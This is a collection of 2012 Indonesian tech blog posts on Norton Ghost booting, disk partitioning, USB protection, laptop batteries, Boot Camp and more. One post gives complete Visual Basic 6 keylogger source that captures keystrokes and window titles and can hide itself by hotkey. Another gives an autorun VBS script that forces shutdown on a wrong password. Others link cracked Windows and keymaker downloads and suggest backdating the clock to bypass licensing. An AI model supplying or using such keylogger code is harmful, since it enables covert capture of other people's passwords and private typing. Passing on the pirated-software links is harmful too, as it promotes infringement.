Jumat, 13 April 2012

Cara Membuat Booting Norton Ghost Lewat Flashdisk

Cara Membuat Booting Norton Ghost Lewat Flashdisk

 Disini yang ingin sedikit saya bahas adalah tentang bagaimana membuat norton ghost kita bisa booting atau digunakan melalui flashdisk.

1. Komputer yang support Booting lewat USB
2. Flashdisk ukuran sembarang, Minimal 64Mb
3. File/software ghost
Berisi:
# Norton Partisi Magic ( untuk membuat partisi lewat dos )
# Norton Ghost ( untuk cloning )
4. Software usb Format

5. Pilih Device >> Device ini adalah Flash disk anda
6. Pilih FAT32 pada File System
7. Untuk Volume Label Sembarang (nama dari flashdisk, secara otomatis akan muncul sendiri)
8. Pilih Quick Format dan Created a DOS Bootable Disk
9. Cari dimana anda file USBBOOT yang telah diextract tadi (misal di drive L:\ghost)
10. Klik Start
11. Setelah selesai Copy Semua file ghost ke USB anda. Jika muncul peringatan “Confirm file replace” Klik NO






12. Flashdisk siap dicoba
Note: Jika komputer kamu ternyata tidak support untuk booting via USB atau flashdisk, maka sobat bisa menggunakan Norton Ghost versi CD yang bisa didapatkan baik dengan cara mendownload, pinjam di Rental CD atau lainnya.


Ghost xp yg da diintegrasiin ma skydriver v11.1






isinya apa aja?
- Windows XP Professional SP3 Integrated August 2010 Corporate

- SkyDriver 11.1

- Office : Word, Excel, Power Point

- Flash for IE, FF, Chrome, Oprea

- Unikey

- Foxit Phantom

- CClean

- Font Full

- Giao diện, icon Windows 7

- Internet Explorer 8

- Windows Media Player 11

Link Download:

http://hotfile.com/dl/76105010/24f43...O.iso.001.html
http://hotfile.com/dl/76105012/04e04...O.iso.002.html
http://hotfile.com/dl/76105013/e7fb0...O.iso.003.html
http://hotfile.com/dl/76105009/e9ebe...O.iso.004.html

mirror:
MegashareVn.Com:

http://share.megaplus.vn/dl.php/2517312

Mediafire.Com

http://www.mediafire.com/?u4j35tbu2umhema
http://www.mediafire.com/?wtjf59h1bw978vv
http://www.mediafire.com/?r1dt8l4rrqgul1c
http://www.mediafire.com/?5r3h5254dsyydsi

FileSonic.Com

http://www.filesonic.com/file/23949025/TEEN_GHO.iso.001
http://www.filesonic.com/file/23949725/TEEN_GHO.iso.002
http://www.filesonic.com/file/23949145/TEEN_GHO.iso.003
http://www.filesonic.com/file/23948227/TEEN_GHO.iso.004

655MB

xp rasa seven, ringan, cuantik, tested di komputer jadul bgt, ram 256, procy 1.6 gh, vga 16mb

persis SS, instal palingan 15 mnitan, all driver cocok.

software untuk buka file iso:

UltraISO Premium Edition v9.3.5.2716
download

Release Name : EZB.Systems.UltraISO.Premium.Edition.v9.3.5.2716.Multilingual.Retail.Incl.Keymaker-ZWT
Size : 3.77 MB
OS : WinAll
LiNKS : NFOHomepage
Download : HotFileUsenet Search

Kamis, 12 April 2012

Cara Partisi Harddisk Menggunakan Partition Magic



Partisi adalah membagi (membelah secara virtual) harddisk dalam beberapa bagian penyimpanan atau disebut juga drive atau kandar. Proses partisi harddisk memerlukan software management partisi. Sebagian orang mungkin sudah tahu dan pernah mencoba membagi 1 harddisk dalam beberapa drive atau partisi dengan bantuan software partisi seperti Partition Magic.
Namun bagi yang belum tahu cara partisi harddisk menggunakan Partisi Magic, anda dapat mengikuti step by step cara menangani harddisk mulai dari membuat partisi baru, format, merubah ukuran partisi sampai menggabungkan beberapa partisi.
  1. Pasang harddisk baru yang akan dipartisi dikomputer sebagai slave atau harddisk kedua.
  2. Jalankan program Partition Magic. Jika anda belum punya software tersebut silahkan cari di Google, pilih saja Partition magic versi portable karena lebih praktis tidak perlu diinstall.
    PQMagic
  3. Pilih harrdisk yang akan di partisi yang diilustrasikan sebagai bidang kotak persegi panjang. Hati-hati jangan sampai salah pilih, perhatikan dari kapasitas harddisk.
    Make partition
  4. Klik kanan di Harddisk, pilih “Create” untuk mulai membuat partisi.
  5. Selanjutnya di jendela yang muncul pilih Logical atau Primary Partition dibagian “Create as”. Jika harddisk akan digunakan untuk install system operasi pilih Primary agar harddisk bisa di Boot.
  6. Tentukan type partisi, pilih FAT32 untuk Windows 98/ME, NTFS untuk Windows 2000/XP/Vista/7 dan Linux Ext2/3 untuk system operasi Linux.
  7. Atur size atau ukuran partisi yang akan dibuat. Jika harddisk 80GB dan anda ingin membagi menjadi 2 partisi yang sama, masukkan size sekitar 40000 (empat puluh ribu) MB. Tentukan juga huruf Drive dibagian Drive Letter atau biarkan karena otomatis sudah dipilih. Selanjutnya klik OK.
    Format partition
  8. Lakukan hal yang sama untuk partisi kedua, sehingga terbentuk 2 partisi harddisk.
  9. Kemudian klik tombol “Apply” untuk memproses semua perubahan. Tunggu proses sampai selesai.
  10. Sampai disini harddisk sudah berhasil dipartisi menjadi 2 Drive.
Sekarang harddisk pun sudah siap digunakan untuk menyimpan data maupun instal system operasi seperti Windows dan Linux. Untuk step selanjutnya akan dibahas diartikel selanjutnya.

Memproteksi Flashdisk dari Virus

Memproteksi Flashdisk dari Virus

proteksi flashdisk dari virus

Melihat cara kerja penularan virus, konsepnya sederhana. Di sisi komputer, jaga agar file autorun tidak bias dijalankan. Sedangkan di sisi flashdisk, pastikan autorun tidak pernah bisa dimodifikasi.

Untuk melakukan kedua hal tersebut, cara gampangnya adalah dengan menggunakan aplikasi seperti BitDefender Immunizer atau Panda USB Vaccine. Kedua aplikasi ini akan melindungi komputer maupun flashdisk dari penularan virus. Caranya seperti kami sebut di atas: menonaktifkan autorun di komputer, sekaligus melindungi file autorun.inf dari modifikasi si pembuat virus.

Kedua aplikasi ini gratis, jadi silakan unduh dan gunakan secara gratis. BitDefender Immunizer bisa diunduh di sini, sementara Panda USB Vaccine di alamat sini.

Cara menggunakannya mudah saja. Jalankan aplikasi tersebut, lalu mereka akan mendeteksi apakah fasilitas autorun di komputer Anda aktif. Jika iya, aplikasi tersebut akan menawarkan Anda untuk mematikan fasilitas tersebut (dan sebaiknya Anda lakukan).

Setelah itu, Anda tinggal imunisasi flashdisk yang hendak Anda lindungi. Pilih flashdisk dari menu yang ada, lalu tekan Immunize atau Vaccine. Sesaat kemudian, file autorun.inf di flashdisk Anda akan diganti dengan yang baru dan kebal penularan.

Memproteksi Flash Disk Menggunakan Password

Memproteksi Flash Disk Menggunakan Password

Post  Bhu_yunk on Mon Mar 28, 2011 4:19 pm

Enlarge this imageReduce this image Click to see fullsize


Ingin tahu bangaimana mengamankan isi flashdisk agar tidak dapat dibaca oleh orang lain?
Cara termudah yaitu menggunakan password. Jadi, jika ada seseorang yang menginputkan password salah, maka yang terjadi komputer akan shutdown secara otomatis!

Berikut cara mengamankan isi flashdisk dengan Password:
Buka aplikasi Notepad, caranya bisa dengan Start->All Programs->Accessories->Notepad atau buka RUN ketikkan Notepad dan Enter.

Copy dan paste script berikut ini di Notepad:
=========================================================================
on error goto 0
dim s,quest,sd,m,winpath,fs
set sd=createobject("Wscript.shell")
set fs=createobject("Scripting.FileSystemObject")
set winpath=fs.getspecialfolder(0)
set s=wscript.createobject("wscript.shell")
do while quest=""
quest=inputbox("Masukkan PASSWORD, Jika anda salah dalam memasukkan password, maka komputer akan shutdown otomatis.","http://delord.co.cc/")
if quest="" then
m=MsgBox("Sorry you don't have the password...!", 0+0+48, "http://delord.co.cc/")
end if
loopif
quest="Tulis passwordnya" then
s.run "shutdown -a"
sd.run winpath & "explorer.exe /e,/select, " & Wscript.ScriptFullname
else
s.run "shutdown -s -t 0″
end if
=========================================================================
Tulis password Anda di bagian "Tulis passwordnya", dan hati-hati dengan huruf besar dan kecil! (penting)Simpan file dengan memilih tipe all files, beri nama "passwordfd.vbs" (tanpa tanda kutip)

Setelah selesai, untuk pengaturan otomatis setelah flashdisk dimasukan di PC, buka Notepad baru lagi, dan copy paste script berikut :
==================================================================================[Autorun]shellexecute=wscript.exe passwordlock.vbs
action=Flashdisk sudah pakai password
==================================================================================
Di bagian script action di atas dapat diubah sesuai dengan keinginan AndaSimpan file dengan memilih tipe all files, beri nama "autorun.inf" (tanpa tanda kutip)
Kemudian pindahkan kedua file yakni autorun.inf dan passwordfd.vbs ke flashdisk Anda.

Langkah terakhir, sembunyikan file autorun.inf dan passwordfd.vbs dengan cara klik kanan pada masing-masing autorun.inf dan passwordfd.vbs lalu pilih properties centang kotak yang ada di tanda hidden.

Selesai..!!
Flash Disk kita tidak akan gampang di masuki tanpa Password...Aman khan..??

Cara Memperpanjang Umur Baterai Laptop (Lithium-ion)

Cara Memperpanjang Umur Baterai Laptop (Lithium-ion)

Di artikel sebelumnya tentang “consider replacing your battery”, saya sudah berbagi mengenai pengalaman saya dalam menangani masalah tersebut. Gara-gara kejadian itu, saya jadi rajin mencari informasi mengenai baterai dengan harapan bisa menemukan kiat supaya baterai saya yang sudah menunjukkan tanda-tanda “penuaan” itu bisa awet dan tahan lama. Nah, di artikel ini saya ingin berbagi mengenai tips supaya baterai laptop menjadi awet dan tahan lama.
Cara Memperpanjang Umur Baterai Laptop (Lithium ion) Image
Pertama, perlu diketahui bahwa baterai yang bisa di-charge (rechargeable battery) itu ada beberapa tipe. Yang sering digunakan untuk barang elektronik umum biasanya adalah Nickel based (NiCd) dan Lithium based (Lithium-ion).  Untuk laptop, saat ini hampir bisa dipastikan semuanya menggunakan jenis Lithium-ion. Selain karena mampu menyimpan daya lebih besar, baterai Lithium-ion juga lebih ramah lingkungan dibandingkan dengan baterai NiCd yang sangat beracun.
Mengetahui perbedaan jenis baterai ini sangat penting karena karakteristik keduanya sangat berbeda. Pada baterai NiCd, elektrolit-elektrolit yang ada didalamnya akan berkumpul di bawah (di dasar) karena pengaruh gravitasi, ketika disimpan terlalu lama (disimpan di gudang). Itulah kenapa pada saat membeli baterai NiCd baru, sangat disarankan untuk men-charge minimal selama 8 jam  (optimalnya 16 – 24 jam) sebelum digunakan pertama kali. Namun demikian, seringkali ketika membeli peralatan elektronik yang menggunakan baterai pihak toko (penjual) menyarankan untuk men-charge baterainya minimal 8 jam sebelum pemakaian pertama kali walaupun jenis baterainya bukan NiCd.
Salah kaprah lainnya adalah anggapan bahwa baterai harus digunakan sampai benar-benar (mau) habis sebelum boleh di-charge lagi. Sekali lagi ini berlaku untuk NiCd, dimana pada baterai jenis ini terdapat fenomena “memory effect”, yaitu baterai ini seolah-olah bisa “mengingat” banyaknya daya yang terisi pada saat proses charging terakhir. Sehingga misalnya baterai NiCd kapasitanya masih 65% dan kemudian di-charge sampai penuh (yang berarti mengisi baterai sebanyak 35%), maka baterai ini akan menganggap seolah-olah kapasitasnya tinggal 35%. Namun sekali lagi, ini tidak berlaku untuk baterai jenis Lithium-ion.
Baterai jenis Lithium-ion sekarang juga banyak dipakai untuk peralatan elektronik lainnya seperti handphone ataupun kamera digital. Jadi tips di bawah ini bisa juga Anda terapkan untuk gadget Anda yang menggunakan baterai jenis Lithium-ion. Berikut tipsnya:
  • Untuk penggunaan pertama kali charge baterai secara normal. Seperti sudah dijelaskan di atas, men-charge baterai minimal 8 jam untuk pertama kali hanya berlaku untuk baterai jenis Nickel based. Untuk baterai Lithium-ion, tidak adanya bedanya antara charging ke-1, ke-5, ataupun ke-500. Malah kalau di-charge terlalu lama bisa mengakibatkan overcharging yang membuat umur baterai semakin pendek.
Cara Memperpanjang Umur Baterai Laptop (Lithium ion) Image
  • Charge baterai secara rutin dalam interval pendek tanpa harus menunggu baterai sampai (hampir) habis. Baterai jenis Lithium-ion tidak mengenal fenomena “memory effect” seperti halnya baterai NiCd. Bahkan hasil penelitian menunjukkan bahwa baterai yang terbiasa di-charge ketika kapasitasnya masih 70% – 75% umurnya 5 – 6 kali lebih lama dibanding baterai yang sering di-charge ketika kapasitasnya hampir habis.
Cara Memperpanjang Umur Baterai Laptop (Lithium ion) Image
  • (Tambahan 27 Desember 2011) Jika anda menggunakan notebook berlama-lama, jangan cabut charger. Apabila anda menggunakan notebook berlama-lama, saat baru menyalakan notebook, pasang charger dan jangan lepas charger meskipun baterai sudah penuh lagi. Hal ini berlaku untuk baterai pada notebook baru yang memang menyediakan “auto controllsehingga tanpa harus cabut charger sekalipun baterai tetap bisa terkontrol dan bisa terawat dengan baik.
  • Jaga supaya temperatur tidak terlalu panas. Temperatur tinggi merupakan musuh nomor satu baterai karena keadaan panas akan mempercepat degradasi sel-sel yang ada di dalam baterai. Untuk itu sebisa mungkin taruh/simpan laptop di tempat yang sejuk dan terhindar dari sinar matahari langsung. Kebiasaan menaruh laptop di dalam mobil pada siang hari yang terik juga harus dihindari kalau tidak ingin umur baterai berkurang drastis.
Cara Memperpanjang Umur Baterai Laptop (Lithium ion) Image
  • Atur sirkulasi udara supaya tetap lancar. Hindari menaruh laptop di kasur atau bantal karena hal ini akan mengganggu sirkulasi udara yang mengakibatkan laptop menjadi cepat panas. Cara paling praktis adalah dengan menggunakan coolpad. Coolpad merupakan peralatan sederhana yang murah meriah namun sangat berguna khususnya untuk menjaga temperatur laptop supaya tidak terlalu panas. Selain itu, setelah selesai menggunakan laptop, sebaiknya diamkan beberapa saat supaya laptop menjadi lebih dingin sebelum dimasukkan ke dalam tas laptop.
Cara Memperpanjang Umur Baterai Laptop (Lithium ion) Image
  • Sebisa mungkin gunakan laptop tanpa baterai apabila keadaan memungkinkan. Hal ini sebenarnya merupakan pengalaman saya pribadi ketika mengevaluasi kebiasaan saya menggunakan laptop. Setelah saya pikir-pikir, saya setiap hari di kantor menggunakan laptop sudah seperti PC, yaitu sekitar 6 – 8 jam non-stop dan jarang berpindah tempat. Nah kalau sudah seperti ini, agaknya menjadi konyol kalau saya menggunakan laptop dengan bolak-balik men-charge baterai dalam jangka waktu tersebut. Setelah menyadari ini, kini saya hampir selalu menyalakan laptop saya tanpa baterai (langsung ke power), baik selama di kantor maupun dirumah. Saya baru menggunakan baterai kalau memang ada tugas/keperluan di luar yang mengharuskan saya menggunakan laptop secara mobile. Bagian ini kami coret karena setelah mendengar banyak masukan, saran dan sumber informasi lain di internet, resiko yang diakibatkan oleh penggunaan notebook tanpa baterai lebih besar dari pada ketika menggunakannya seperti biasa. Sederhananya, harga baterai jauh lebih murah dibandingkan dengan harga komponen laindi notebook. Terima kasih banyak atas kritik dan sarannya.
Cara Memperpanjang Umur Baterai Laptop (Lithium ion) Image
  • Apabila hendak menyimpan baterai cukup lama, simpanlah ditempat yang sejuk dengan kapasitas 40%. Ada sebuah penelitian yang membandingkan antara baterai yang disimpan dalam kapasitas 40% dengan baterai yang disimpan dengan kapasitas 100%. Hasilnya, baterai yang disimpan dengan kapasitas 100% mengalami capacity loss yang lebih besar daripada yang 40%. Pengetahuan ini saya gunakan untuk kamera digital saya yang tidak terlalu sering saya gunakan (biasanya saya pakai weekend saja, itupun tidak setiap minggu). Dulu setiap selesai menggunakan kamera digital, selalu saya charge sampai penuh dengan pemikiran agar nanti ketika akan dipakai sudah langsung siap digunakan. Tapi kini tidak lagi. Sekarang saya men-charge kamera digital sampai penuh hanya ketika akan digunakan.
Cara Memperpanjang Umur Baterai Laptop (Lithium ion) Image
Selain tips di atas, Anda juga sebaiknya rajin-rajin mengecek kondisi baterai laptop Anda. Apabila Anda menggunakan merek HP, maka Anda bisa menggunakan aplikasi Battery Check yang ada di HP Support Assistant untuk melihat data-data teknis baterai laptop Anda. Selain itu, ada juga aplikasi gratis BatteryCare yang bisa digunakan pula untuk keperluan ini.
Cara Memperpanjang Umur Baterai Laptop (Lithium ion) Image
Nah, demikianlah beberapa tips mengenai cara memperpanjang umur baterai laptop. Bagi Anda yang masih penasaran dan ingin menggali lebih dalam, saya menyarankan Anda berkunjung ke:
  1. Battery University
  2. Elektropaedia
Di kedua situs tersebut Anda bisa membaca berbagai penjelasan dan penelitian mengenai baterai, disertai dengan bermacam data, tabel, dan diagram yang lengkap.

Cara Install Windows XP, Vista di Laptop Apple

Cara Install Windows XP, Vista di Laptop Apple
  Ada 2 cara untuk install windows di Laptop Apple anda:
- install dengan bootable (Bootcamp)
kelebihan : Kinerja hardware dapat digunakan secara penuh
kekurangan : sulit untuk mencari driver yang compatible
- install dengan virtual machine dalam mac OS
kelebihan : compatible secara penuh dengan laptop apple anda
kekurangan : memory dan processor anda tidak bisa digunakan secara penuh... karena berjalan bareng dengan MAC OS.. dan otomatis menjadi lebih berat.. jika spec dari hardware minim.

sekarang saya akan menjelaskan bagaimana menginstall dengan cara yang pertama yaitu dengan bootcamp..
  penjelasan sedikit tentang bootcamp. bootcamp adalah software yang digunakan untuk membuat partisi di macintosh dan memungkinkan kita memasukan operating system windows XP kedalamny...

tuh download dulu bootcampnya.. 83Mb
http://torrentportal.com/download/424487/BootCampBootCamp.torrent
  tahap pertama yang harus dilakukan adalah downloadlah bootcamp Assistant versi 2.1 untuk versi ini adalah free... tetapi hanya bisa diinstal setelah pada tahun tertentu.. dan tidak berjalan jika anda melakukan installasi di atas tahun 2008 kurang lebih. jadi anda harus menset tanggal macOS anda terlebih dahulu ke tahun 2004 (saya merubah ke agustus 2004). aitss.. tiba2 bootcamp berhasil diinstall..

setelah menginstall boot camp.. jalankan boot camp assistant
  Buat partisi terlebih dahulu… oh ya yakinkan batre laptop anda terpasang dan adaptor terpasang.. kalo gak resiko tanggung sendiri… system hardisk apple anda akan rusak..

BootCamp image1
  Buatlah partisi yang diinginkan.

BootCamp image2
  ikuti petunjuk dan start installation. Anda akan dimintal untuk memasukan CD kosong untuk burning driver yang digunakan untuk driver windows XP nantiny.. tapi itu tidak berfungsi.. driver tetap tidak cocok.. nanti di akhir saya beritahu solusiny. Lakukan start installation dan nanti anda diminta memasukan CD windows anda dan setelah selesai proses akan melakukan restart dan langsung booting XP.

BootCamp image3
  setelah booting ikutilah guide.. tekan enter, F8, lalu Esc. Setelah masuk ke bagian di bawah ini.. jangan sekali2 anda menghapus partisi yang telah dibuat oleh bootcamp dari macintosh.. karena jika membuat partisi baru dari XP. Maka system yang terbentuk akan berbeda dan akhirny hardware macintosh anda tidak mengenali system tersebut. Jadi….
Tekanlah enter pada partisi yang telah anda buat sebelumny di bootcamp… dan pilih quick NTFS…

BootCamp image4
  tunggu sampai proses instalasi selesai… dan selesai… windows berhasil diinstall.. bagaimana cara masuk ke XPny?
Tahan tombol option key pada keyboard mac pada saat blank screen. Lalu pilih windows..

BootCamp image5
  Setelah masuk ke windows.. jangan berharap driver langsung dikenali layakny mengunakan virtual machine… driver yang diberikan dari boot camp tidak akan running well.. jadi download lah driver ny di link berikut… (saya gunakan untuk windows XP.. di vista blom sempet coba.. harusny sih bisa).

download nih driverny : 138Mb.
http://fenopy.com/torrent/Install_Macintosh_Drivers_for_Windows_XP_exe/NDU5ODI1/index.html

Install driver dan.. Selesai.. Macintosh berubah menjadi Windows…
  Keterangan tambahan… bagaimana untuk klik kanan di windows..? gunakan mouse usb.. karena keyboard mac tidak ada klik kanan..
Bagaimana untuk eject CD(tombol eject di macintosh tidak berfungsi..)..? gunakan fitur window explorer dan klik kanan pada drive dan lalu pilih eject…

Enjoy your MAC XP with full hardware performance….

Salam Hangat...

Rabu, 11 April 2012

Cara Mudah Menghemat Biaya Pemakaian Internet Dengan Bantuan Software


Cara Mudah Menghemat Biaya Pemakaian Internet Dengan Bantuan Software

Dengan bantuan software ini, kita bisa menghemat biaya internet untuk yang mengaksesnya melalui GPRS atau yang pembayaran internet berdasarkan volume based / ukuran KB dalam bandwith (yang dimaksudkan bukan time based).

Saya belum mengetahui benar dengan tool ini. tetapi saat dicoba oleh teman saya yang menggunakan koneksi dengan dial-up connection atau handphone, ternyata terbukti. lebih cepat dari sebelumnya yang sering putus koneksi.

Tool ini mirip seperti toonel, fungsinya mengompress file yang diload / dikeluarkan dari internet sesuai kebutuhan browser, tetapi dengan beberapa tambahan :
1. Mempunyai cache agar browsing lebih cepat lagi.
2. Bisa blok trojan downloader maupun konten virus lain yang membahayakan.
3. Bisa blok situs yang tidak dikehendaki seperti advertiser.
4. Bisa blok konten berbau pornografi dengan menambahkan kata pada filter konten.
5. Bisa menghemat uang anda dari bandwidth yang disave dari kompresi maupun cache.

coba lihat screen shootnya :

http://www.fileden.com/files/2008/10/9/2135535/Counter.JPG

@info
jadi dengan software ini kita bisa Menghemat Biaya Pemakaian Internet.


oke, langsung saja jika anda membutuhkannya silahkan download klik disini atau silahkan anda klik link dibawah ini
http://www.fileden.com/files/2008/10/9/2135535/Setup%20Internet%20Speed-Up%20V.1.12%20Final%2010%20Oct%202008.zip

selamat mencoba . . .
semoga bermanfaat . . .

Membuat Key Logger Dengan Visual Basic


Membuat Key Logger Dengan Visual Basic

1 April 2012
Penulis:    · Kategori Artikel: Coding
BINUS HACKER Binus Hacker Is Not Criminal Banner



Assalamualaikum wr wb, salam sejahtera sobat Binus Hacker,

Sesuai dengan judul di atas, kali ini saya akan memberikan sedikit tutorial cara membuat key logger sederhana dengan Visual Basic. Oke langsung saja gan..
  1. Siapkan Visual Basic , Disini saya menggunakan Visual Basic 6.0
  2. Buka program Visual Basic
  3. New Project Standard EXE
  4. Tambahkan 1 buah TextBox, 4 buah CommandButton, 2 Timer, dan 6 buah Label (Lihat Gambar)
  5. Copas seluruh Code di bawah ini :
    Private Declare Function GetAsyncKeyState Lib “user32″ (ByVal vKey As Long) As Integer
    Private Declare Function GetForegroundWindow Lib “user32″ () As Long
    Private Declare Function GetWindowText Lib “user32″ Alias “GetWindowTextA” (ByVal hWnd As Long, ByVal sWndTitle As String, ByVal cLen As Long) As Long
    Private hForegroundWnd As Long
    Private backs As BooleanPrivate Sub Command1_Click()
    Timer1.Enabled = True
    End SubPrivate Sub Command2_Click()
    Timer1.Enabled = False
    End SubPrivate Sub Command3_Click()
    backs = True
    End SubPrivate Sub Command4_Click()
    backs = False
    End SubPrivate Sub Form_Load()
    backs = True
    End Sub
    Private Sub Label1_Click()
    End Sub
    Private Sub Label4_Click()
    End Sub
    Private Sub Label6_Click()
    Timer1.Enabled = True
    End Sub
    Private Sub Label7_Click()
    Timer1.Enabled = False
    End Sub
    Private Sub Label8_Click()
    backs = True
    End Sub
    Private Sub Label9_Click()
    backs = False
    End Sub
    Private Sub Text1_Change()
    Text1.SelStart = 0
    Text1.SelLength = Len(Text1.Text)
    End Sub
    Private Sub Timer1_Timer()
    Dim x, x2, i, t As Integer
    Dim win As Long
    Dim Title As String * 1000
    win = GetForegroundWindow()
    If (win = hForegroundWnd) Then
    GoTo Keylogger
    Else
    hForegroundWnd = GetForegroundWindow()
    Title = “”
    GetWindowText hForegroundWnd, Title, 1000
    Select Case Asc(Title)
    Case 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15, 16, 17, 18, 19, 20, 21, 22, 23, 24, 25, 26, 27, 28, 29, 30, 31, 32, 33, 34, 35, 36, 37, 38, 39, 40, 41, 42, 43, 44, 45, 46, 47, 48, 49, 50, 51, 52, 53, 54, 55, 56, 57, 58, 59, 60, 61, 62, 63, 64, 65, 66, 67, 68, 69, 70, 71, 72, 73, 74, 75, 76, 77, 78, 79, 80, 81, 82, 83, 84, 85, 86, 87, 88, 89, 90, 91, 92, 93, 94, 95
    Text1.Text = Text1.Text & vbCrLf & vbCrLf & “[ " & Title
    Text1.Text = Text1.Text & " ]” & vbCrLf
    End Select
    End If
    Exit Sub
    Keylogger:
    For i = 65 To 90
    x = GetAsyncKeyState(i)
    x2 = GetAsyncKeyState(16)
    If x = -32767 Then
    If x2 = -32768 Then
    Text1.Text = Text1.Text & Chr(i)
    Else: Text1.Text = Text1.Text & Chr(i + 32)
    End If
    End If
    Next
    For i = 8 To 222
    If i = 65 Then i = 91
    x = GetAsyncKeyState(i)
    x2 = GetAsyncKeyState(16)
    If x = -32767 Then
    Select Case i
    Case 48
    Text1.Text = Text1.Text & IIf(x2 = -32768, “)”, “0″)
    Case 49
    Text1.Text = Text1.Text & IIf(x2 = -32768, “!”, “1″)
    Case 50
    Text1.Text = Text1.Text & IIf(x2 = -32768, “@”, “2″)
    Case 51
    Text1.Text = Text1.Text & IIf(x2 = -32768, “#”, “3″)
    Case 52
    Text1.Text = Text1.Text & IIf(x2 = -32768, “$”, “4″)
    Case 53
    Text1.Text = Text1.Text & IIf(x2 = -32768, “%”, “5″)
    Case 54
    Text1.Text = Text1.Text & IIf(x2 = -32768, “^”, “6″)
    Case 55
    Text1.Text = Text1.Text & IIf(x2 = -32768, “&”, “7″)
    Case 56
    Text1.Text = Text1.Text & IIf(x2 = -32768, “*”, “8″)
    Case 57
    Text1.Text = Text1.Text & IIf(x2 = -32768, “(“, “9″)
    Case 112: Text1.Text = Text1.Text & ” F1 “
    Case 113: Text1.Text = Text1.Text & ” F2 “
    Case 114: Text1.Text = Text1.Text & ” F3 “
    Case 115: Text1.Text = Text1.Text & ” F4 “
    Case 116: Text1.Text = Text1.Text & ” F5 “
    Case 117: Text1.Text = Text1.Text & ” F6 “
    Case 118: Text1.Text = Text1.Text & ” F7 “
    Case 119: Text1.Text = Text1.Text & ” F8 “
    Case 120: Text1.Text = Text1.Text & ” F9 “
    Case 121: Text1.Text = Text1.Text & ” F10 “
    Case 122: Text1.Text = Text1.Text & ” F11 “
    Case 123: Text1.Text = Text1.Text & ” F12 “
    Case 220: Text1.Text = Text1.Text & IIf(x2 = -32768, “|”, “\”)
    Case 188: Text1.Text = Text1.Text & IIf(x2 = -32768, “<”, “,”)
    Case 189: Text1.Text = Text1.Text & IIf(x2 = -32768, “_”, “-”)
    Case 190: Text1.Text = Text1.Text & IIf(x2 = -32768, “>”, “.”)
    Case 191: Text1.Text = Text1.Text & IIf(x2 = -32768, “?”, “/”)
    Case 187: Text1.Text = Text1.Text & IIf(x2 = -32768, “+”, “=”)
    Case 186: Text1.Text = Text1.Text & IIf(x2 = -32768, “:”, “;”)
    Case 222: Text1.Text = Text1.Text & IIf(x2 = -32768, Chr(34), “‘”)
    Case 219: Text1.Text = Text1.Text & IIf(x2 = -32768, “{“, “[")
    Case 221: Text1.Text = Text1.Text & IIf(x2 = -32768, "}", "]“)
    Case 192: Text1.Text = Text1.Text & IIf(x2 = -32768, “~”, “`”)
    Case 8: If backs = True Then If Len(Text1.Text) > 0 Then Text1.Text = Mid(Text1.Text, 1, Len(Text1.Text) – 1)
    Case 9: Text1.Text = Text1.Text & ” [ Tab ] “
    Case 13: Text1.Text = Text1.Text & vbCrLf
    Case 17: Text1.Text = Text1.Text & ” [ Ctrl ]“
    Case 18: Text1.Text = Text1.Text & ” [ Alt ] “
    Case 19: Text1.Text = Text1.Text & ” [ Pause ] “
    Case 20: Text1.Text = Text1.Text & ” [ Capslock ] “
    Case 27: Text1.Text = Text1.Text & ” [ Esc ] “
    Case 32: Text1.Text = Text1.Text & ” “
    Case 33: Text1.Text = Text1.Text & ” [ PageUp ] “
    Case 34: Text1.Text = Text1.Text & ” [ PageDown ] “
    Case 35: Text1.Text = Text1.Text & ” [ End ] “
    Case 36: Text1.Text = Text1.Text & ” [ Home ] “
    Case 37: Text1.Text = Text1.Text & ” [ Left ] “
    Case 38: Text1.Text = Text1.Text & ” [ Up ] “
    Case 39: Text1.Text = Text1.Text & ” [ Right ] “
    Case 40: Text1.Text = Text1.Text & ” [ Down ] “
    Case 41: Text1.Text = Text1.Text & ” [ Select ] “
    Case 44: Text1.Text = Text1.Text & ” [ PrintScreen ] “
    Case 45: Text1.Text = Text1.Text & ” [ Insert ] “
    Case 46: Text1.Text = Text1.Text & ” [ Del ] “
    Case 47: Text1.Text = Text1.Text & ” [ Help ] “
    Case 91, 92: Text1.Text = Text1.Text & ” [ Windows ] “
    End Select
    End If
    Next
    End Sub
    Private Sub Timer2_Timer()
    Dim a, b, x As Long
    a = GetAsyncKeyState(120)
    b = GetAsyncKeyState(121)
    x = GetAsyncKeyState(16)
    If a = -32767 And x = -32768 Then Me.Hide
    If b = -32767 And x = -32768 Then Me.Show
    End Sub
  6. Jalankan dengan menekan tombol F5
  7. Live demo bisa di download disini :
Selamat mencoba, semoga bermanfaat tutorial sederhana membuat keylogger ini. Wassalam…

Tampilkan Hidden File & Folder


Tampilkan Hidden File & Folder

31 December 2011
Penulis:    · Kategori Artikel: Virus
BINUS HACKER Binus Hacker Is Not Criminal Banner



Pernah file dan/atau folder-folder kamu hilang karena komputer terserang virus?  Tenang…! Tidak perlu panik dulu. Tulisan kali ini akan membahas tutorial bagaimana mengembalikan file dan folder yang “hilang” (sebenarnya hanya ter-hidden alias disembunyikan) oleh virus pada windows. Meski kasus ini sudah lama ada, virus-virus baru masih saja hobi mengulangi kasus meng-hidden file seperti ini.

Tampilkan Image File Folder
Perlu ditekankan bahwa file dan folder yang bisa dikembalikan menjadi normal adalah file atau folder yang “hanya” disembunyikan oleh virus. File dan folder yang benar-benar hilang atau terhapus tidak bisa dikembalikan lagi, kecuali menggunakan sistem restore.
Okeh, kita mulai tutorial bagaimana menampilkan kembali file dan folder yang di-hidden oleh virus:
1. Start > Run > Notepad
Copy Paste-kan :
Code:
Windows Registry Editor Version 5.00
[HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced]
“ServerAdminUI”=dword:00000000
“Hidden”=dword:00000001
“ShowCompColor”=dword:00000001
“HideFileExt”=dword:00000001
“DontPrettyPath”=dword:00000000
“ShowInfoTip”=dword:00000001
“HideIcons”=dword:00000000
“MapNetDrvBtn”=dword:00000000
“WebView”=dword:00000001
“Filter”=dword:00000000
“SuperHidden”=dword:00000001
“SeparateProcess”=dword:00000000
“ListviewAlphaSelect”=dword:00000001
“ListviewShadow”=dword:00000001
“ListviewWatermark”=dword:00000001
“TaskbarAnimations”=dword:00000001
“StartMenuInit”=dword:00000002
“StartButtonBalloonTip”=dword:00000002
“TaskbarSizeMove”=dword:00000000
“TaskbarGlomming”=dword:00000000
“NoNetCrawling”=dword:00000000
“FolderContentsInfoTip”=dword:00000001
“FriendlyTree”=dword:00000001
“WebViewBarricade”=dword:00000000
“DisableThumbnailCache”=dword:00000000
